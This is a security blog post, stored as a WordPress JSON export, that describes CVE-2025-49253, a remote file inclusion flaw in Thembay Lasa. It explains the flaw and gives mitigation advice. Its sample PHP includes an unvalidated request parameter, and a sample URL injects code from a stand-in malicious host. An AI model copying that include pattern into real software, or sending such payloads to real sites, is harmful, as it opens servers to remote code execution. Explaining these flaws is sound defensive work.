{"id":55891,"date":"2025-06-29T03:27:44","date_gmt":"2025-06-29T03:27:44","guid":{"rendered":""},"modified":"2025-08-31T18:38:18","modified_gmt":"2025-09-01T00:38:18","slug":"cve-2025-49253-high-severity-php-remote-file-inclusion-vulnerability-in-thembay-lasa","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-49253-high-severity-php-remote-file-inclusion-vulnerability-in-thembay-lasa\/","title":{"rendered":"<strong>CVE-2025-49253: High Severity PHP Remote File Inclusion Vulnerability in Thembay Lasa<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>In the rapidly evolving world of cybersecurity, vulnerabilities are discovered and patched regularly. One such vulnerability has recently come to light that affects users of Thembay&#8217;s Lasa PHP program. The vulnerability, identified as CVE-2025-49253, concerns an improper control of the filename for include\/require statement, which can lead to a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49278-critical-php-remote-file-inclusion-vulnerability-in-unfoldwp-blogty\/\"  data-wpil-monitor-id=\"62217\">PHP Remote File Inclusion<\/a> (RFI). This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6158-critical-buffer-overflow-vulnerability-in-d-link-dir-665-1-00\/\"  data-wpil-monitor-id=\"62212\">vulnerability is especially critical<\/a> as it could potentially lead to a system compromise or data leakage if exploited by malicious actors.<br \/>\nThe <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49282-high-severity-remote-file-inclusion-vulnerability-in-unfoldwp-magze\/\"  data-wpil-monitor-id=\"62301\">severity of this vulnerability<\/a> is significant, evidenced by its CVSS score of 8.1. Therefore, it is essential for all users and administrators of Thembay Lasa to understand the details of this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49415-path-traversal-vulnerability-in-fw-gallery-with-potential-for-system-compromise\/\"  data-wpil-monitor-id=\"62429\">vulnerability and take immediate steps to mitigate its potential<\/a> impact.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-49253<br \/>\nSeverity: High, CVSS Score 8.1<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6435-firefox-vulnerability-leading-to-potential-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"77099\">System compromise<\/a>, data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-201319654\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Thembay Lasa | Up to 1.1<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit works by manipulating the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49252-php-local-file-inclusion-vulnerability-in-thembay-besa\/\"  data-wpil-monitor-id=\"63261\">PHP include or require statements in Thembay<\/a> Lasa. In a standard operating environment, these statements are used to include a file as if it were a part of the original script. However, if the filename is improperly controlled, it could lead to a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49281-critical-php-remote-file-inclusion-vulnerability-in-unfoldwp-magways\/\"  data-wpil-monitor-id=\"62208\">PHP Remote File Inclusion vulnerability<\/a>.<br \/>\nIn this case, an attacker could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49279-php-remote-file-inclusion-vulnerability-in-unfoldwp-blogvy\/\"  data-wpil-monitor-id=\"62226\">remotely inject a file<\/a> hosted on a different server, resulting in the execution of arbitrary PHP code. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49220-pre-authentication-remote-code-execution-in-trend-micro-apex-central\/\"  data-wpil-monitor-id=\"62552\">code execution<\/a> happens in the context of the application, potentially leading to a full system compromise or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-598938339\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a conceptual example of how this vulnerability might be exploited:<\/p>\n<pre><code class=\"\" data-line=\"\">&lt;?php\n\/\/ The attacker could manipulate the $file variable to include a remote file\n$file = $_GET[&#039;file&#039;];\ninclude($file . &quot;.php&quot;);\n?&gt;<\/code><\/pre>\n<p>In this example, an attacker could provide a URL like `www.vulnerablewebsite.com\/page.php?file=http:\/\/maliciouswebsite.com\/maliciouscode` to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49212-trend-micro-endpoint-encryption-policyserver-pre-authentication-remote-code-execution-vulnerability\/\"  data-wpil-monitor-id=\"62584\">execute their malicious PHP code<\/a> on the server.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>Users and administrators of Thembay Lasa are advised to apply the vendor patch as soon as possible. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These systems can detect and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49155-uncontrolled-search-path-vulnerability-in-trend-micro-apex-one-data-loss-prevention-module\/\"  data-wpil-monitor-id=\"62498\">prevent attempts to exploit this vulnerability<\/a>, reducing the potential risk of a successful attack.<br \/>\nRemember, in the world of cybersecurity, awareness and prompt action are the best <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20217-denial-of-service-vulnerability-in-snort-3-detection-engine-of-cisco-secure-firewall-threat-defense-software\/\"  data-wpil-monitor-id=\"77098\">defenses against potential threats<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview In the rapidly evolving world of cybersecurity, vulnerabilities are discovered and patched regularly. One such vulnerability has recently come to light that affects users of Thembay&#8217;s Lasa PHP program. The vulnerability, identified as CVE-2025-49253, concerns an improper control of the filename for include\/require statement, which can lead to a PHP Remote File Inclusion (RFI). [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-55891","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55891","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=55891"}],"version-history":[{"count":11,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55891\/revisions"}],"predecessor-version":[{"id":69475,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55891\/revisions\/69475"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=55891"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=55891"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=55891"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=55891"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=55891"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=55891"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=55891"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=55891"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=55891"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}